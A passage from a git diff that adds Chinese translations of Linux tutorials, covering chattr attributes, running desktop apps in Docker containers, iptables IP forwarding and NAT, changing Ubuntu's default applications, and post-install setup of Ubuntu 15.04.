+使用以下命令递归取消属性 + + [root@linuxtechi ~]# chattr -R -i sysadmin + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/file-directory-attributes-in-linux-using-chattr-lsattr-command/ + +作者:[Pradeep Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ \ No newline at end of file diff --git a/published/201506/20150423 20 Awesome Docker Containers for a Desktop User.md b/published/201506/20150423 20 Awesome Docker Containers for a Desktop User.md new file mode 100644 index 0000000000..a0ef45f433 --- /dev/null +++ b/published/201506/20150423 20 Awesome Docker Containers for a Desktop User.md @@ -0,0 +1,238 @@ +20个令人惊叹的桌面Docker容器 +================================================================================ + +大家好,今天我们会列出一些运行在Docker容器中的很棒的桌面软件,我们可以在自己的桌面系统中运行它们。Docker 是一个开源项目,提供了一个可以打包、装载和运行任何应用的轻量级容器的开放平台。它没有语言支持、框架和打包系统的限制,从小型的家用电脑到高端服务器,在何时何地都可以运行。它可以使部署和扩展web应用程序、数据库和后端服务像搭积木一样容易,而不依赖特定技术栈或提供商。它主要是由开发、运维工程师使用的,因为它简单、快速和方便,可以用来测试和辅助开发他们产品,但是我们也可以在桌面环境使用Docker,这样一些桌面程序可以开箱即用。 + +下边是20个非常棒的桌面软件docker镜像,我们可以使用Docker来运行。 + +### 1. Lynx ### + +Lynx是一个一直以来最受欢迎的文本界面网页浏览器,很多Linux用户都很熟悉它。它应该是现在还在日常和开发环境中被使用的最古老的网页浏览器了。可以使用如下命令运行Lync。 + + $ docker run -it \ + --name lynx \ + jess/lynx + +### 2. Irssi ### + +Irssi是一个非常棒的文本界面IRC客户端。可以使用如下命令运行Irssi。 + + docker run -it --name my-irssi -e TERM -u $(id -u):$(id -g) \ + -v $HOME/.irssi:/home/user/.irssi:ro \ + -v /etc/localtime:/etc/localtime:ro \ + irssi + +### 3. Chrome ### + +Chrome是一个令人惊叹的图形界面网页浏览器,由Google开发,它基于开源的Chromium项目。Google Chrome是一个被广泛使用的、快速安全的网页浏览器,经常上网的人会非常熟悉它。我们可以使用如下命令在Docker中运行Chrome。 + + $ docker run -it \ + --net host \ + --cpuset 0 \ + --memory 512mb \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e DISPLAY=unix$DISPLAY \ + -v $HOME/Downloads:/root/Downloads \ + -v $HOME/.config/google-chrome/:/data \ + -v /dev/snd:/dev/snd --privileged \ + --name chrome \ + jess/chrome + +### 4. Tor浏览器 ### + +Tor浏览器是一个支持匿名访问的网页浏览器。它让我们可以自由地在网络世界遨游,或者浏览被特定组织或者网络服务提供商封锁的网站。它会阻止别人通过监视我们的网络连接来窃取我们在网络上的一举一动以及我们的确切位置。运行如下命令运行Tor浏览器。 + + $ docker run -it \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e DISPLAY=unix$DISPLAY \ + -v /dev/snd:/dev/snd --privileged \ + --name tor-browser \ + jess/tor-browser + +### 5. Firefox浏览器 ### + +Firefox浏览器是一个自由开源的网页浏览器,它由Mozilla基金会开发。它使用Gecko和SpiderMonkey引擎。Firefox浏览器有很多新特性,并且它以性能和安全性著称。 + + $ docker run -d \ + --name firefox \ + -e DISPLAY=$DISPLAY \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + kennethkl/firefox + +### 6. Rainbow Stream ### + +Rainbow Stream是一个文本界面的Twitter客户端,有实时显示tweetstream、搜索、喜欢和更多其他特性,可以直接在终端使用。使用如下命令运行Rainbow Stream。 + + $ docker run -it \ + -v /etc/localtime:/etc/localtime \ + -v $HOME/.rainbow_oauth:/root/.rainbow_oauth \ + -v $HOME/.rainbow_config.json:/root/.rainbow_config.json \ + --name rainbowstream \ + jess/rainbowstream + +### 7. Gparted ### + +Gparted是一个用来给磁盘分区的开源软件。现在可以在Docker容器里享受分区的乐趣了。可以使用如下命令运行gparted。 + + $ docker run -it \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e DISPLAY=unix$DISPLAY \ + --device /dev/sda:/dev/sda \ # 将设备挂载为分区 + --name gparted \ + jess/gparted + +### 8. GIMP图片编辑器 ### + +GIMP(Gnu Image Manipulation Program)是一个令人惊叹的Linux图片编辑软件。它是一个可以自由分发的可以处理照片修正、图像合成和图像创作等任务的工具。 + + $ docker run -it \ + --rm -e DISPLAY=$DISPLAY \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + jarfil/gimp-git + +### 9. Thunderbird ### + +Thunderbird是一个自由开源的电子邮件软件,它由Mozilla基金会开发和维护。它有众多一个电子邮件软件应该具有的功能。Thunderbird非常易于安装和定制。使用如下命令在Docker中运行Thunderbird。 + + $ docker run -d \ + -e DISPLAY \ + -v /tmp/.X11-unix:/tmp/.X11-unix:ro \ + -u docker \ + -v $HOME/docker-data/thunderbird:/home/docker/.thunderbird/ \ + yantis/thunderbird thunderbird + +### 10. Mutt ### + +Mutt是一个文本界面的电子邮件客户端,有很多很酷的功能,如彩色支持,IMAP、POP3、SMTP支持,邮件存储支持等。 使用如下命令运行Mutt。 + + $ docker run -it \ + -v /etc/localtime:/etc/localtime \ + -e GMAIL -e GMAIL_NAME \ + -e GMAIL_PASS -e GMAIL_FROM \ + -v $HOME/.gnupg:/home/user/.gnupg \ + --name mutt \ + jess/mutt + +### 11. Skype ### + +Skype是一个支持文字、语音和视频的即时通讯软件,它不是开源的,但在Linux下可以运行的很好。我们同样可以在Docker中运行Skype,使用如下命令。 + + $ docker run -it \ + -v /tmp/.X11-unix:/tmp/.X11-unix:ro \ + -v /dev/snd:/dev/snd --privileged \ + -e DISPLAY="unix$DISPLAY" \ + tianon/skype + +### 12. Cathode ### + +Cathode是一个漂亮并且高度可定制的终端模拟器,灵感来自古典计算机。使用如下命令运行Cathode。 + + $ docker run -it \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e DISPLAY=unix$DISPLAY \ + --name cathode \ + jess/1995 + +### 13. LibreOffice ### + +LibreOffice是一个功能强大的办公套件,它是自由开源的,现在由The Document基金会维护。它有干净的界面和强大的功能,让我们释放创造力和提升生产力。LibreOffice将数个应用程序集成在一起,是市面上最强大的自由并且开源的办公套件。 + + $docker run \ + -v $HOME/Documents:/home/libreoffice/Documents:rw \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e uid=$(id -u) -e gid=$(id -g) \ + -e DISPLAY=unix$DISPLAY --name libreoffice \ + chrisdaish/libreoffice + +### 14. Spotify ### + +Spotify可以即时访问数百万的歌曲,从经典老歌到最新单曲。可以使用如下命令在Docker中听我们最喜欢的歌曲。 + + $ docker run -it \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e DISPLAY=unix$DISPLAY \ + -v /dev/snd:/dev/snd --privileged \ + --name spotify \ + jess/spotify + +### 15. Audacity ### + +Audacity是一个自由开源的跨平台软件,用来录制和编辑音频。Audacity可以用来做所有类型音频(例如podcast)的后期处理,如归一化、调整、淡入淡出。使用如下命令来运行Audacity。 + + $ docker run --rm \ + -u $(id -u):$(id -g) \ + -v /tmp/.X11-unix:/tmp/.X11-unix:ro \ + -v /dev/snd:/dev/snd \ + -v "$HOME:$HOME" \ + -w "$HOME" \ + -e DISPLAY="unix$DISPLAY" \ + -e HOME \ + $(find /dev/snd/ -type c | sed 's/^/--device /') \ + knickers/audacity + +### 16. Eclipse ### + +Eclipse是一个集成开发环境。它包含基本的工作区和用来定制环境的可扩展插件系统。它在Java开发者中很流行。 + + $ docker run -v ~/workspace/:/home/eclipse/workspace/ \ + -e DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix:ro \ + -d leesah/eclipse + +### 17. VLC媒体播放器 ### + +VLC是一个自由开源的跨平台多媒体播放器,可以播放本地文件、DVD、CD、VCD和各种流媒体。VLC由VideoLAN组织开发和维护。使用如下命令运行VLC。 + + $ docker run -v\ + $HOME/Documents:/home/vlc/Documents:rw \ + -v /dev/snd:/dev/snd --privileged \ + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -e uid=$(id -u) -e gid=$(id -g) \ + -e DISPLAY=unix$DISPLAY --name vlc \ + chrisdaish/vlc + +### 18. Vim编辑器 ### + +Vim是一个高度可配置的文本界面文字编辑器,为高效的文本编辑而生。它是预装在多数UNIX系统中的vi编辑器的改进版本。 + + $ docker run -i -t --name my-vim -v ~/:/home/dev/src haron/vim + +### 19. Inkscape ### + +Inkscape是一个自由开源的矢量图形编辑器。它可以创建、编辑矢量图形,如插图、图示、线条艺术、图表、徽标以及更复杂的绘画。Inkscape使用的主要矢量图形格式是SVG 1.1版本。它也可以导入和导出一些其他的格式,但实际编辑使用的还是SVG格式。 + + $docker build -t rasch/inkscape --rm . + $ docker run --rm -e DISPLAY \ + -u inkscaper + -v /tmp/.X11-unix:/tmp/.X11-unix \ + -v $HOME/.Xauthority:/home/inkscaper/.Xauthority \ + --net=host rasch/inkscape + +### 20. Filezilla ### + +Filezilla是一个免费的FTP解决方案,支持FTP、SFTP、FTPS协议。它的客户端是一个功能强大的文件管理工具。它是一个很棒的高度可靠和易用的开源FTP解决方案。 + + $ xhost +si:localuser:$(whoami) + $ docker run \ + -d \ + -e DISPLAY \ + -v /tmp/.X11-unix:/tmp/.X11-unix:ro \ + -u docker \ + -v /:/host \ + -v $HOME/docker-data/filezilla:/home/docker/.config/filezilla/ \ + yantis/filezilla filezilla + +### 总结 ### + +使用Docker运行桌面软件真的是很棒的体验。Docker是一个快速、简单的开发平台,适合从家里、办公室到生产环境里传送和开发软件的场景。使用Docker运行桌面软件是试用而不将其安装到自己实体机文件系统中的很酷的方法。如果你有任何问题、评论或者反馈,清写在下方的评论框中,让我们知道哪些是需要增加或者改进的。谢谢!享受Docker吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/20-docker-containers-desktop-user/ + +作者:[Arun Pyasi][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ \ No newline at end of file diff --git a/published/201506/20150423 How IP forwarding Helps Connecting Private interface to Internet in Linux.md b/published/201506/20150423 How IP forwarding Helps Connecting Private interface to Internet in Linux.md new file mode 100644 index 0000000000..0b141dcf33 --- /dev/null +++ b/published/201506/20150423 How IP forwarding Helps Connecting Private interface to Internet in Linux.md @@ -0,0 +1,76 @@ +如何在 Linux 上用 IP转发使内部网络连接到互联网 +================================================================================ + +大家好,今天我们学习一下在 Linux 上用 iptables 实现从一个网络接口到另一个接口的IP转发(数据包转发)。IP转发的概念是,使 Linux 机器像路由器一样将数据从一个网络发送到另一个网络。所以,它能作为一个**路由器**或者代理服务器,实现将一个连接的互联网或者网络连接共享给多个客户端机器。 + +这是一些启用IP转发或网络包转发方法的简单步骤。 + +### 1. 启用 IPv4 转发 ### + +首先,我们需要在我们的 Linux 操作系统上启用 IPv4 转发。要做到这点,我们需要用 sudo 模式在 shell 或终端下执行下面的命令。 + + $ sudo -s + + # echo 1 > /proc/sys/net/ipv4/ip_forward + +![临时IP转发](http://blog.linoxide.com/wp-content/uploads/2015/03/ip-forward-temporary.png) + +**注意:上面的命令能马上启用ip转发,但只是临时的,直到下一次重启。要永久启用,我们需要使用我们惯用的文本编辑器打开 /etc/sysctl.conf 文件。** + + # nano /etc/sysctl.conf + +然后,增加 **net.ipv4.ip_forward = 1** 到文件中,或者删除那行的注释,保存并退出文件。 + + net.ipv4.ip_forward = 1 + +![编辑 Sysctl](http://blog.linoxide.com/wp-content/uploads/2015/03/sysctl-edit.png) + +运行下面的命令启用更改。 + + # sysctl -p /etc/sysctl.conf + +![启用 Sysctl 更改](http://blog.linoxide.com/wp-content/uploads/2015/03/enabling-changes-sysctl.png) + +### 2. 配置 Iptables 防火墙 ### + +我们需要允许特定的(或者所有的)数据包通过我们的路由器。在这之前,我们要知道连接我们 Linux 的网络设备的接口名称。我们可以通过在终端或者 shell 运行以下命令获得接口名称。 + + # ifconfig -a + +![Ifconfig](http://blog.linoxide.com/wp-content/uploads/2015/03/ifconfig.png) + +这里,在我们的机器中, eth2 是连接到互联网或者网络的网卡接口, wlan2 是我们要使用 iptables 从 eth2 转发数据包的接口。要实现转发,我们需要运行以下命令。 + + # iptables -A FORWARD -i wlan2 -o eth2 -j ACCEPT + +注意:请用你 Linux 机器中的可用设备名称替换 wlan2 和 eth2。 + +现在,由于netfilter/iptables是一个无状态的防火墙,我们需要让 iptables 允许已建立的连接通过。要做到这点,我们要运行下面的命令。 + + # iptables -A FORWARD -i eth2 -o wlan2 -m state --state ESTABLISHED,RELATED -j ACCEPT + +![用 iptables 转发](http://blog.linoxide.com/wp-content/uploads/2015/03/forwarding-iptables.png) + +### 3. 配置 NAT ### + +然后,最后我们需要通过执行下面的命令修改发送到互联网的数据包的源地址为 eth2。 + + # iptables -t nat -A POSTROUTING -o eth2 -j MASQUERADE + +![配置 nat](http://blog.linoxide.com/wp-content/uploads/2015/03/configuring-nat.png) + +### 总结 ### + +最后,我们在我们以 iptables 作为防火墙 Linux 机器上成功的配置了从一个接口到另一个接口的数据包转发。这篇文章教给你将你的私有接口连接到互联网,不需要桥接接口,而是将从一个接口进来的数据包路由到另一个接口。就是这些,如果你有任何问题、建议、反馈,请写到下面的评论框中,然后我们可以改进或更新我们的内容。非常感谢!享受吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/firewall/ip-forwarding-connecting-private-interface-internet/ + +作者:[Arun Pyasi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ \ No newline at end of file diff --git a/published/201506/20150423 How to Change Default Web Browser and Email Client in Ubuntu.md b/published/201506/20150423 How to Change Default Web Browser and Email Client in Ubuntu.md new file mode 100644 index 0000000000..958ce87fae --- /dev/null +++ b/published/201506/20150423 How to Change Default Web Browser and Email Client in Ubuntu.md @@ -0,0 +1,77 @@ +如何在 Ubuntu 中更改默认浏览器和 Email 客户端 +================================================================================ +Ubuntu 自带了一些已经预装的默认应用程序,包括非常流行的 Mozilla 火狐浏览器和 Thunderbird 的 e-mail 客户端。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/web-browser.png) + +尽管这两个应用都有它们自己的粉丝,但是没有一个应用能符合每个人的口味和需要。我们经常收到邮件或者推文,询问我们可以怎样在 Ubuntu 上更改默认浏览器或者设置处理邮件链接为不同的电子邮件客户端等。 + +我们在这里不仅讨论如何安装不同的软件,还包括如何给一个特定的文件,链接或者内容类型设置其系统处理应用。 + +在 Ubuntu 中更改默认应用程序,包括浏览器、电子邮件客户端、文本编辑器、音乐和视频播放器都非常的简单。但并不是每个人都知道更改这些的设置面板在哪里,让我们来快速看一下吧。 + +### 如何在 Ubuntu 上更改默认浏览器 ### + +Mozilla 火狐浏览器是一扇稳定、开源而且可靠的互联网之窗,但它并不是每个人的选择。这都没关系。 + +要在 Ubuntu 上使用不同的默认浏览器,首先,显而易见,你需要安装一个新的浏览器。你该怎么做取决于你想要的浏览器: + +- 开源浏览器,例如 [Epiphany][1], [Chromium][2] 和 [IceWeasel][3],可以从 Ubuntu 软件中心安装。 + +- 主流浏览器,例如 [Google Chrome][4], [Opera][5] 和 [Vivaldi][6] 必须从各自项目的官方网站上下载。 + +不管你选择哪个浏览器,不管你选择怎样安装,完成之后你就可以继续了。 + +要更改在点击其它应用(如即时通讯软件、Twitter 客户端、 e-mail 中)中的链接时打开的默认网页浏览器,你需要用到 Ubuntu 系统设置工具。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/system-settings-ubuntu-300x215.jpg) + +你可以用多种方法打开系统设置。其中一种最快的方式是点击右上角(RTL系统是左上角)的 Cog 图标并选择‘系统设置’菜单快捷方式。 + +1. 打开‘系统设置’ +1. 选择‘详细’选项 +1. 在侧边栏选择‘默认应用程序’ +1. 把 ‘Web’ 条目的 ‘火狐’ 改为你想要的选项 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/change-default-browser-in-ubuntu-750x402.jpg) + +就是这样。 + +### 如何在 Ubuntu 上更改默认的邮件客户端 ### + +Ubuntu 用 Thunderbird 作为默认的邮件应用程序。这意味着当你点击大部分浏览器、 PDF文件、及时通讯软件等上的 **电子邮件地址或者一个 [mailto 链接][7] 的时候会自动打开** 这个应用。 + +当然,如果你使用 Thunderbird,这真的很方便。但是我们很多人并非如此; 我们可能**[使用像 Geary 这样的轻量级客户端][8]**,GNOME stalwart Evolution,或者依靠像 Gmail 或者 Outlook 这样的网络邮件服务。 + +在 Ubuntu 上从 Thunderbird **更改默认邮件客户端** 到另一个应用程序,打开系统设置 > 详细 > 默认应用程序。点击下拉菜单到 ‘Mail’ 并选择从列表中选择你喜欢的客户端。 + +**在 Ubuntu 上设置 Gmail 为默认的邮件客户端**,你首先需要点击下面的按钮安装 ‘gnome-gmail’ 软件包。安装完后打开系统设置 > 详细 > 默认应用程序。然后点击‘Mail’ 的下拉菜单,并选择从列表中选择 ‘Gmail’。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/04/CHANGE-DEFAULT-APPS-UBUNTU.jpg) + +- [在 Ubuntu 上安装 GNOME Gmail][9] + +### 更多 ### + +上述同样的步骤也可以用来设置你双击音乐文件时打开你喜欢的音乐播放器,用比如 VLC 应用程序处理 .avi 和 .mp4 文件,等等。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/04/change-your-default-web-browser-in-ubuntu + +作者:[Joey-Elijah Sneddon][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://wiki.gnome.org/Apps/Web +[2]:https://apps.ubuntu.com/cat/applications/chromium-browser/ +[3]:https://wiki.debian.org/Iceweasel +[4]:https://www.google.co.uk/chrome/browser/desktop/ +[5]:http://www.opera.com/computer/linux +[6]:https://vivaldi.com/#Download +[7]:http://en.wikipedia.org/wiki/Mailto +[8]:https://linux.cn/article-5511-1.html +[9]:apt://gnome-gmail \ No newline at end of file diff --git a/published/201506/20150427 15 Things to Do After Installing Ubuntu 15.04 Desktop.md b/published/201506/20150427 15 Things to Do After Installing Ubuntu 15.04 Desktop.md new file mode 100644 index 0000000000..de0f973cc8 --- /dev/null +++ b/published/201506/20150427 15 Things to Do After Installing Ubuntu 15.04 Desktop.md @@ -0,0 +1,332 @@ +安装完Ubuntu 15.04桌面后要做的15件事 +================================================================================ +本教程适用于在自己的电脑上安装了 Ubuntu 15.04 “Vivid Vervet” 桌面的新手,这里会告诉你安装之后应该做哪些事情,来自定义你的系统和安装一些基本程序作为日常使用。 + +![Things to Do After Installing Ubuntu 15.04](http://www.tecmint.com/wp-content/uploads/2015/04/things-to-do-after-installing-ubuntu-15.04.jpeg) + +*安装完Ubuntu 15.04桌面后要做的15件事* + +### 1. 启用Ubuntu额外软件库并更新系统 ### + +在刚装好Ubuntu之后你应该要关心的第一件事是启用Canonical的官方合作伙伴提供的Ubuntu额外软件库,并且通过最近一次的安全补丁和软件更新来保持系统是最新状态。 + +要完成这一步,依次从左边菜单中打开System Settings -> Software and Updates工具,并检查所有Ubuntu软件和其他软件库(Canonical 的合作伙伴所提供),点击关闭按钮并等待重新加载缓存源树。 + +![Software Updates](http://www.tecmint.com/wp-content/uploads/2015/04/Software-Updates.jpg) + +*软件更新* + +![Other Software (Canonical Partners)](http://www.tecmint.com/wp-content/uploads/2015/04/Other-Software.jpg) + +*其它软件(Canonical 合作伙伴)* + +为了快速而顺畅的更新,打开终端并输入以下命令来让系统使用新软件库: + + $ sudo apt-get update + $ sudo apt-get upgrade + +![Ubuntu Upgrade](http://www.tecmint.com/wp-content/uploads/2015/04/Ubuntu-Upgrade.jpg) + +*Ubuntu 升级* + +### 2. 安装额外驱动 ### + +为了能让系统扫描并安装额外的硬件专有驱动,我们依然从System Settings打开Software and Updates工具,选择Additional Drivers标签并等待该工具扫描驱动。 + +如果有驱动匹配到了你的硬件,查看你想要安装的驱动并点击Apply按钮来安装它。如果专有驱动没有如预期的工作,用Revert按钮就能卸载它们或勾选Do not use the device后点击Apply按钮。 + +![Install Drivers in Ubuntu](http://www.tecmint.com/wp-content/uploads/2015/04/install-drivers.jpg) + +*安装驱动* + +### 3. 安装Synaptic和Gdebi工具 ### + +除了Ubuntu Software Center之外,Synaptic也是一个apt的图形化工具,通过它你能管理、安装、卸载、搜索和升级软件库并配置软件包。同样的,Gdebi对本地的.deb 包也有类似功能。在终端上输入以下命令来安装这两个包: + + $ sudo apt-get install synaptic gdebi + +![Install Synaptic and Gdebi](http://www.tecmint.com/wp-content/uploads/2015/04/install-synaptic-gdebi.jpg) + +*安装 Synaptic 和 Gdebi* + +![Synaptic Package Manager](http://www.tecmint.com/wp-content/uploads/2015/04/synaptic-package-manager.jpg) + +*Synaptic 包管理器* + +### 4. 更改系统外观和行为 ### + +如果你想要更改桌面背景或图标大小,依次打开System Settings –> Appearance –> Look,并对桌面进行个性化设置。要把菜单移动到窗口标题栏,在Behavior标签中设置即可。 + +![System Appearances](http://www.tecmint.com/wp-content/uploads/2015/04/system-appearance.jpg) + +*系统外观* + +### 5. 提升系统安全性和隐私性 ### + +![System Security Enhancement](http://www.tecmint.com/wp-content/uploads/2015/04/system-security-1.jpg) + +*增强系统安全* + +![System Security Options](http://www.tecmint.com/wp-content/uploads/2015/04/system-security-2.jpg) + +*系统安全选项* + +### 6. 禁用不需要开机自启动的应用程序 ### + +要提高登录系统的速度,通过输入以下命令来显示被隐藏的开机启动应用程序。 + + $ sudo sed -i 's/NoDisplay=true/NoDisplay=false/g' /etc/xdg/autostart/*.desktop + +在Dash中搜索打开Startup Applications工具,并反选不需要在登录系统的过程中启动的程序。 + +![Disable Unwanted Applications](http://www.tecmint.com/wp-content/uploads/2015/04/disable-unwanted-applications.jpg) + +*禁用不需要的应用程序* + +### 7. 添加扩展多媒体支持 ### + +默认情况下,Ubuntu对多媒体文件支持不是很好。为了能播放各种不同的多媒体格式或解析视频文件,可以安装以下多媒体应用程序: + +- VLC +- Smplayer +- Audacious +- QMMP +- Mixxx +- XBMC +- Handbrake +- Openshot + +用以下命令来一次性安装所有的这些应用程序: + + $ sudo apt-get install vlc smplayer audacious qmmp mixxx xbmc handbrake openshot + +![Install Media Players](http://www.tecmint.com/wp-content/uploads/2015/04/install-media-players.jpg) + +*安装媒体播放器* + +![Media Player Playlist](http://www.tecmint.com/wp-content/uploads/2015/04/media-playllist.jpg) + +*媒体播放器的播放列表* + +除了多媒体播放器,安装ubuntu-restricted-extras和Java支持包也可以解码并支持其它受限制的多媒体格式。 + + $ sudo apt-get install ubuntu-restricted-extras openjdk-8-jdk + +![Install Ubuntu Extras](http://www.tecmint.com/wp-content/uploads/2015/04/install-ubuntu-extras.jpg) + +*安装 Ubuntu Extras* + +在终端上输入以下命令来启用DVD 回放和其它多媒体解码器: + + $ sudo apt-get install ffmpeg gstreamer0.10-plugins-bad lame libavcodec-extra + $ sudo /usr/share/doc/libdvdread4/install-css.sh + +![Enable Video Codes](http://www.tecmint.com/wp-content/uploads/2015/04/enable-video-playbacks.jpg) + +*启用视频解码器* + +### 8. 安装图像处理应用程序和安装媒体烧录软件 ### + +如果你是一个摄影爱好者,想在Ubuntu上处理调整图像,或许需要安装一下图像处理程序: + +- GIMP (一个 Adobe Photoshop 替代品) +- Darktable +- Rawtherapee +- Pinta +- Shotwell +- Inkscape (一个 Adobe Illustrator 替代品) +- Digikam +- Cheese + +这些应用程序能从Ubuntu Software Center中安装,或者立刻在终端上使用以下命令: + + $ sudo apt-get install gimp gimp-plugin-registry gimp-data-extras darktable rawtherapee pinta shotwell inkscape + +![Install Image Applications](http://www.tecmint.com/wp-content/uploads/2015/04/install-image-applications.jpg) + +*安装图像处理应用程序* + +![Rawtherapee Tool](http://www.tecmint.com/wp-content/uploads/2015/04/rawtherapee.jpg) + +*Rawtherapee Tool* + +如果要挂载ISO镜像或烧录一张CD或DVD,你可以选择并安装以下软件中的一款: + +- Brasero Disk Burner +- K3b +- Xfburn +- Furius ISO Mount + + $ sudo apt-get install brasero + $ sudo apt-get install k3b + $ sudo apt-get install xfburn + $ sudo apt-get install furiusisomount + +![Install Media Burners](http://www.tecmint.com/wp-content/uploads/2015/04/install-media-burners.jpg) + +*安装媒体烧录软件* + +### 9. 安装压缩应用程序 ### + +如果要处理大多数归档格式的文件(zip, tar.gz, zip, 7zip rar等等),输入以下命令来安装这些包: + + $ sudo apt-get install unace unrar zip unzip p7zip-full p7zip-rar sharutils rar uudeview mpack arj cabextract file-roller + +![Install Archive Applications](http://www.tecmint.com/wp-content/uploads/2015/04/install-archive-apps.jpg) + +*安装压缩应用程序* + +### 10. 安装聊天应用程序 ### + +如果你想要和世界各地的人们聊天,这里有一份最流行的Linux聊天应用程序列表: + +- Pidgin +- Skype +- Xchat +- Telegram +- aMSN +- Viber + +你可以从Ubuntu Software Center中安装它们或使用以下命令: + + $ sudo apt-get install pidgin + $ sudo apt-get install skype + $ sudo apt-get install xchat + $ sudo apt-get install amsn + $ sudo add-apt-repository ppa:atareao/telegram -y + $ sudo apt-get update + $ sudo apt-get install telegram + +![Install Chat Applications](http://www.tecmint.com/wp-content/uploads/2015/04/install-chat-apps.jpg) + +*安装聊天应用程序* + +想要在Ubuntu上安装Viber可以访问[Viber官方网站][1]下载Debian安装包到本地,并用Gdebi包管理工具来安装viber.deb应用程序(右击 –> 打开 -> GDebi Package Installer). + +![Install Viber in Ubuntu](http://www.tecmint.com/wp-content/uploads/2015/04/install-viber.jpg) + +*安装 Viber* + +### 11. 安装种子软件 ### + +在Ubuntu最流行的种子应用程序和P2P文件共享程序是: + +- Deluge +- Transmission +- Qbittorrent +- LinuxDC++ + +想要在Ubuntu上安装你最喜欢的P2P文件共享应用程序,可以在终端上输入以下命令: + + $ sudo apt-get install deluge + $ sudo apt-get install transmission + $ sudo apt-get install qbittorrent + $ sudo apt-get install linuxdcpp + +![Install Torrent](http://www.tecmint.com/wp-content/uploads/2015/04/install-torrent.jpg) + +*安装种子软件* + +### 12. 安装Windows仿真器-Wine和游戏支持平台-Steam ### + +Wine仿真器允许你在Linux上安装并运行Window应用程序。在另一方面,Steam是一款Valve开发的基于Linux系统的流行游戏平台。想要在你的机器上安装它们,可以输入以下命令或使用Ubuntu Software Center。 + + $ sudo apt-get install steam wine winetricks + +![Install Wine](http://www.tecmint.com/wp-content/uploads/2015/04/install-wine.jpg) + +*安装 Wine* + +### 13. 安装Cairo-Dock并启用桌面视觉效果 ### + +Cairo-Dock是一款漂亮且灵巧的用于Linux桌面上的启动条,类似于Mac OS X dock。想要在Ubuntu上安装它,可以在终端上运行以下命令: + + $ sudo apt-get install cairo-dock cairo-dock-plug-ins + +![Install Cairo Dock](http://www.tecmint.com/wp-content/uploads/2015/04/install-cairo-dock.jpg) + +*安装Cairo-Dock* + +![Add Cairo Dock at Startup](http://www.tecmint.com/wp-content/uploads/2015/04/add-cairo-dock-startup.jpg) + +*让 Cairo Dock 自动启动* + +想要启用某一套桌面效果,例如Cube效果,可以使用以下命令来安装Compiz包: + + $ sudo apt-get install compiz compizconfig-settings-manager compiz-plugins-extra + +想要激活桌面Cube效果,在Dash上查找ccsm来打开CompizConfig Settings Manager,找到General Options – > Desktop Size并设置Horizontal Virtual Size的值为4,Vertical Virtual Size的值为1。然后返回检查Desktop Cube框(禁用Desktop Wall)和Rotate Cube框(解决冲突 -> 禁止切换视图1)并Ctrl+Alt+鼠标左击来查看cube效果。 + +![Enable Compiz](http://www.tecmint.com/wp-content/uploads/2015/04/enable-compiz.jpg) + +*启用Compiz* + +![Compiz Settings](http://www.tecmint.com/wp-content/uploads/2015/04/compiz-settings.jpg) + +*Compiz设置* + +![Compiz Settings Addons](http://www.tecmint.com/wp-content/uploads/2015/04/compiz-settings-1.jpg) + +*Compiz设置插件* + +![Desktop Window Rotating](http://www.tecmint.com/wp-content/uploads/2015/04/desktop-cube.jpg) + +*桌面窗口旋转* + +### 14. 添加其它浏览器 ### + +Ubuntu 15.04默认浏览器是Mozilla Firefox。想要安装其它浏览器比如Google Chrome或Opera,可以访问它们的官方网站,下载所提供的.deb包并用Gdebi Package Installer在你的系统上安装它们。 + +![Enable Browser Support](http://www.tecmint.com/wp-content/uploads/2015/04/enable-browser-support.jpg) + +*启用浏览器支持* + +![Opera Browser Support](http://www.tecmint.com/wp-content/uploads/2015/04/opera.jpg) + +*Opera Browser* + +想要安装Chromium开源浏览器请在终端上输入以下命令: + + $ sudo apt-get install chromium-browser + +### 15. 安装Tweak工具 ### + +想要用额外的应用程序来自定义Ubuntu吗?在终端上输入以下命令来安装Unity Tweak工具和Gnome Tweak工具: + + $ sudo apt-get install unity-tweak-tool gnome-tweak-tool + +![Install Tweak Tool](http://www.tecmint.com/wp-content/uploads/2015/04/install-tweak-tool.jpg) + +*安装Tweak Tool* + +![Tweak Tool Settings](http://www.tecmint.com/wp-content/uploads/2015/04/tweak-settings.jpg) + +*Tweak Tool 设置* + +另一个有趣的tweak工具主要是Ubuntu Tweak包,可以通过访问官方网站来获取并安装: [http://ubuntu-tweak.com/][2]。 + +![Tweak Tool: System Information](http://www.tecmint.com/wp-content/uploads/2015/04/tweak-system-info.jpg) + +*Tweak Tool: 系统信息* + 